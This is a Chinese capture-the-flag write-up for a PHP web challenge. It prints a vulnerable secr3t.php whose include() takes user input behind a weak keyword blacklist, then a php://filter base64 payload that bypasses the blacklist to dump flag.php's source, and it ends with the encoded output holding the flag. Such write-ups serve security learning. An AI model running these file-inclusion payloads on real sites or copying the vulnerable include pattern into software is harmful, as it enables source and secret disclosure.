0x00
打开网页如下
打开网站源码,查找信息。
我看到还存在Archive_room.php文件,打开
打开网页源码,查看信息
可以看出点击SECRET按钮就是请求action.php文件,点击SECRET按钮
发现请求的是end.php,页面进行了重定向,而且根据上面的提示说明action.php文件里面有重要信息
我们可以通过抓包,获得被重定向的网页
我们可以知道还存在secr3t.php文件,打开改文件
可以知道flag就在flag.php中,打开如下
看来flag是隐藏在代码里面,那我们分析一下secr3t.php中的代码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file); ##文件包含
//flag放在了flag.php里
?>
</html>
由该代码我们可以知道存在文件包含,但是flag隐藏在代码中,直接将flag.php包含进去也不能得到
要想办法得到flag.php的源码最好了,那样就可以直接获得flag
想到这里也许可以试一下php的伪协议php://filter,
php有那么多伪协议为什么使用这个?
因为这个伪协议有过滤器,我们可以使用它对包含的文件进行编码
这样flag.php里面的代码就不会执行
我们可以构造如下payload:
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=./flag.php
我们得到了base64加密的flag.php文件里面的内容如下:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NTgzNjc4NDUtOTg1ZS00NDY4LTk1MGUtYzE5ZGNmYmIwNzQ0fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
然后我们可以找一个网站进行解密,
这里我们访问:http://tool.chinaz.com/Tools/Base64.aspx
得到了如下结果